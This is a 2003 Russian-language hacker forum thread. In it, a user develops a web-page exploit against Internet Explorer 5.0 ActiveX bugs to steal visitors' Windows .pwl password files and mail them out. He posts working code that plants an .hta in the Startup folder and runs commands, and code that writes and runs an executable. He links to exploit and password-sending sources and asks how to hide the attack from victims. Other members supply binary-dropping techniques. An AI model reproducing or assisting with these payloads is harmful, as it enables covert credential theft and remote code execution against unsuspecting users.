Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
| | |
Вот что получилось в результате :) 13.07.03 02:09 Число просмотров: 1806
Автор: hello_world Статус: Незарегистрированный пользователь
|
> Я не пойму, а зачем тебе вообще debug.exe? > Сделай этот .hta на VBScript и пиши сразу двоичные данные в > файл (я же пример кода приводил в той мессаге) Да, на vbs действительно лучше, хотя файл примерно 40Кб весит
> Это же всего несколько строчек на asm - > FindWindow/SendMesage > А из JavaScript вряд ли это можно сделать... Достаточно просто убить процесс c:\windows\system\mshta.exe
|
<web building>
|
Нужна помощь 14.06.03 07:44 [paganoid]
Автор: hello_world Статус: Незарегистрированный пользователь
|
Недавно зашел на http://www.guninski.com/browsers.html и решил сам написать эксплоит, который должен тырить pwl файлы через веб-страничку.
Сначала я воспользовался первым попавшимся багом (http://www.guninski.com/getobject1-desc.html). Мой скрипт тырил system.ini, читал имя pwl'ки из [password list], а потом скачивал саму pwl'ку. (не буду приводить исходник, все есть на guninski.com) Я залил скрипт на сервак и начал радостно смотреть, как одна за другой прибывают pwl'ки, но когда я попытался их расшифровать, то понял, что файлы приходят в измененном виде :((( Например, байт \xfe меняется на \x3f, а нулевые байты просто срезаются. Т.е. при обращении к свойству innerText текст каким-то образом форматируется. Это не касается букв и цифр, но почти все остальные байты портятся.
Но это меня не остановило и я решил попробовать другой баг (http://www.guninski.com/scrtlb-desc.html). Я сразу решил не заливать юзерам трояны, т.к. они все весят по 50-70 Kb. Я написал маленькую прогу на ассемблере, которая превращала pwl'ку в escape-строку (т.е. просто записывала байты в виде \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом хотел просто слить с компа юзера, когда он второй раз зайдет на сайт) Потом я попытался залить эту прогу через броузер себе на комп и выполнить ее:
content='_код проги_';
f_obj=new ActiveXObject('Scripting.FileSystemObject');
fp=f_obj.CreateTextFile('c:\\escape.com',false);
fp.Write(content);
fp.Close();
wsh.Run('c:\\escape.com');
Но опять ничего не получилось!!! Выяснилось что моя прога опять записалась в слегка подпорченном виде :( Если бы проблема была только в нулевых байтах, то без них можно было бы обойтись, но к сожалению все гораздо сложнее.
Возможно все что я делаю это извращение, только хотелось бы узнать что надо делать :) Буду рад любой помощи.
|
|
Вот что получилось в результате :) 11.07.03 05:02
Автор: hello_world Статус: Незарегистрированный пользователь
|
Код, который нужно вставить в страничку лежит тут:
http://www.dilar.by/e/exploit
Исходничок проги, которая пошлет пароли:
http://www.dilar.by/e/smtp.asm
incfile и incs лежат там же
Остается 1 вопрос: как скрыть вывод программы debug при обработке скрипта? А то юзеру плохо может стать, когда он увидит цифры ползущие по экрану :)
Еще хотелось бы закрыть окно hta и желательно средствами java, а то на асме писать неахота :) Может кто подскажет как это сделать, а то я яву совсем не знаю :)
|
| |
Вот что получилось в результате :) 12.07.03 10:08
Автор: :-) <:-)> Статус: Elderman
|
> Остается 1 вопрос: как скрыть вывод программы debug при > обработке скрипта? А то юзеру плохо может стать, когда он > увидит цифры ползущие по экрану :)
Разве что что перенаправить в >nul, но окно ДОС-сеанса все равно будет появляться...
Я не пойму, а зачем тебе вообще debug.exe?
Сделай этот .hta на VBScript и пиши сразу двоичные данные в файл (я же пример кода приводил в той мессаге)
> Еще хотелось бы закрыть окно hta и желательно средствами > java, а то на асме писать неахота :) Может кто подскажет > как это сделать, а то я яву совсем не знаю :)
Это же всего несколько строчек на asm - FindWindow/SendMesage
А из JavaScript вряд ли это можно сделать...
|
| | |
Вот что получилось в результате :) 13.07.03 02:09
Автор: hello_world Статус: Незарегистрированный пользователь
|
> Я не пойму, а зачем тебе вообще debug.exe? > Сделай этот .hta на VBScript и пиши сразу двоичные данные в > файл (я же пример кода приводил в той мессаге) Да, на vbs действительно лучше, хотя файл примерно 40Кб весит
> Это же всего несколько строчек на asm - > FindWindow/SendMesage > А из JavaScript вряд ли это можно сделать... Достаточно просто убить процесс c:\windows\system\mshta.exe
|
| | | |
У меня получилось в JScript... 14.07.03 10:58
Автор: :-) <:-)> Статус: Elderman Отредактировано 14.07.03 11:00 Количество правок: 1
|
...работать с двоичными данными :)
Символы с кодами <0x80 можно записывать Си-шной нотации \xHH.
Но, как ни странно, символы из второй половины ASCII-таблицы (>0x80) в таком виде записать нельзя! Видно, в M$ решили, что в наш век Unicode это не нужно.
Но зато если их вставить в текст "as is", то это работает:
s = "\x01\x02\x1A.....БВГДЇ"
f.Write(s);
Все оказалось просто, но никто ведь не подсказал :(
|
| | | | |
У меня получилось в JScript... 14.07.03 15:23
Автор: hello_world Статус: Незарегистрированный пользователь Отредактировано 14.07.03 15:24 Количество правок: 1
|
Какая у тебя ОС/браузер ?
У меня, например само наличие байта \x00 говорит о том, что файл не будет записан. При этом никакой ошибки не возникает. Даже при попытке запустить этот файл не вылетает ошибки, хотя самого файла нет.
|
| | | | | |
У меня получилось в JScript... 14.07.03 19:46
Автор: :-) <:-)> Статус: Elderman
|
> Какая у тебя ОС/браузер ?
IE 6.0, но я специально проверял еще в IE 5.0, где работает этот эксплойт.
> У меня, например само наличие байта \x00 говорит о том, что > файл не будет записан. При этом никакой ошибки не > возникает. Даже при попытке запустить этот файл не вылетает > ошибки, хотя самого файла нет.
А что говорит
WScript.Echo(WScript.Version) ?
|
| | | | | | |
извиняюсь... 14.07.03 23:37
Автор: hello_world Статус: Незарегистрированный пользователь
|
Ты был прав все работает. Это просто меня сильно проглючило :(
Большое спасибо :)
|
|
Нужна помощь 18.06.03 17:44
Автор: :-) <:-)> Статус: Elderman Отредактировано 18.06.03 17:53 Количество правок: 1
|
...skipped
> Я написал маленькую прогу на ассемблере, которая превращала > pwl'ку в escape-строку (т.е. просто записывала байты в виде > \xhh) и сохраняла в неприметном файле c:\001.tmp (А потом > хотел просто слить с компа юзера, когда он второй раз > зайдет на сайт) Потом я попытался залить эту прогу через > броузер себе на комп и выполнить ее: > > content='_код проги_'; > f_obj=new ActiveXObject('Scripting.FileSystemObject'); > fp=f_obj.CreateTextFile('c:\\escape.com',false); > fp.Write(content); > fp.Close(); > wsh.Run('c:\\escape.com');
Тут можно вместо JScript использовать VBScript. В нем есть функция chr:
content=chr(2)+chr(5)+chr(255)
set f_obj=CreateObject("Scripting.FileSystemObject")
set fp=f_obj.CreateTextFile("c:\escape.com",false)
fp.Write(content)
fp.Close()
Про другие способы:
Если уж ты пишешь программку на ассемблере в виде маленького .com-файла, то пиши ее так, чтобы она содержала только текстовые символы.
Есть конвертеры, которые преобразуют .com-файл таким образом (filehide например).
Еще двоичный файл можно создать через debug.exe.
В текстовый файл пишешь debug-скрипт для создания своего файла, потом даешь команду
debug <myscript.dbg
|
| |
Спасибо :) 18.06.03 21:16
Автор: hello_world Статус: Незарегистрированный пользователь
|
> Если уж ты пишешь программку на ассемблере в виде > маленького .com-файла - другого способа пока не вижу
> то пиши ее так, чтобы она содержала > только текстовые символы. - такая мысль уже приходила, но это имхо изврат :)
Огромное спасибо за все предложенные способы! Сейчас только сдам вступительные экзамены и сразу сяду кодить :)
|
|
поставим вопрос по-другому 18.06.03 01:11
Автор: hello_world Статус: Незарегистрированный пользователь
|
Кто-нибудь знает, есть ли activex функция, которая пишет(читает) в файл N любых байтов, как например write() в C ?
И еще очень бы хотелось знать мнение кого-нибудь кто уже писал что-то подобное. Если все это слишком просто и даже не стоит обсуждения, то напишите хотябы об этом. Просто хочется хоть что-нибудь услышать :)
Заранее спасибо.
|
| |
activex может почти все, что может обычная прога под винду, так что почитай msdn 18.06.03 08:55
Автор: tdes <jin> Статус: Member
|
|
| |
Вообще-то веб не может сохранять произвольные данные 18.06.03 02:08
Автор: amirul <Serge> Статус: The Elderman
|
> Кто-нибудь знает, есть ли activex функция, которая > пишет(читает) в файл N любых байтов, как например write() в > C ? Это очень уж пахнет DoS-ом, когда любой сайт может заполнить весь диск какими то данными.
Для этих целей используется кеш бровсера. Правда свой файл там еще найти надо - именно для противодействия такому запуску у всех бровсеров путь к файлам в кеше содержит какие нибудь случайные символы. Не помню где, но вроде бы я видел пример как можно узать путь к кешу в IE. Не очень похоже на реальную помощь, но по крайней мере будешь знать, что безопасность при разработке бровсеров ставится не на последнее место. И как раз такие действия и пытаются исключить всеми способами.
|
| | |
Вообще-то веб не может сохранять произвольные данные 18.06.03 02:37
Автор: hello_world Статус: Незарегистрированный пользователь
|
В IE 5.0 есть баг, позволяющий вот таким образом выполнить любую команду:
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Главное меню\\Программы\\Автозагрузка\\exploit.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>"+
"wsh.Run('c:\\command.com');"+
"</SCRIPT"+">";
scr.write();
</SCRIPT>
</object>
Я проверял. Это работает. Единственная проблема в том, что я не могу записать туда свою прогу, т.к. все функции activex, которые я знаю, не хотят правильно работать с двоичными данными :(
А за кэш спасибо. Буду доки искать.
|
| | | |
Вообще-то веб не может сохранять произвольные данные 18.06.03 15:35
Автор: amirul <Serge> Статус: The Elderman
|
> В IE 5.0 есть баг, позволяющий вот таким образом выполнить > любую команду: Баги, позволяющие удаленно запустить любую прогу периодически появляются.
> Я проверял. Это работает. Единственная проблема в том, что > я не могу записать туда свою прогу, т.к. все функции > activex, которые я знаю, не хотят правильно работать с > двоичными данными :( Вот как раз это я и имел в виду. Чтоб запустить СВОЮ программу нужно две уязвимости - чтоб загрузить (или найти в кеше) и чтоб запустить. А это повышает безопасность. Так что просто так стандартными средствами записать что угодно на винт пользователю тебе вряд ли дадут - только дыра какая то.
> А за кэш спасибо. Буду доки искать.
|
|
|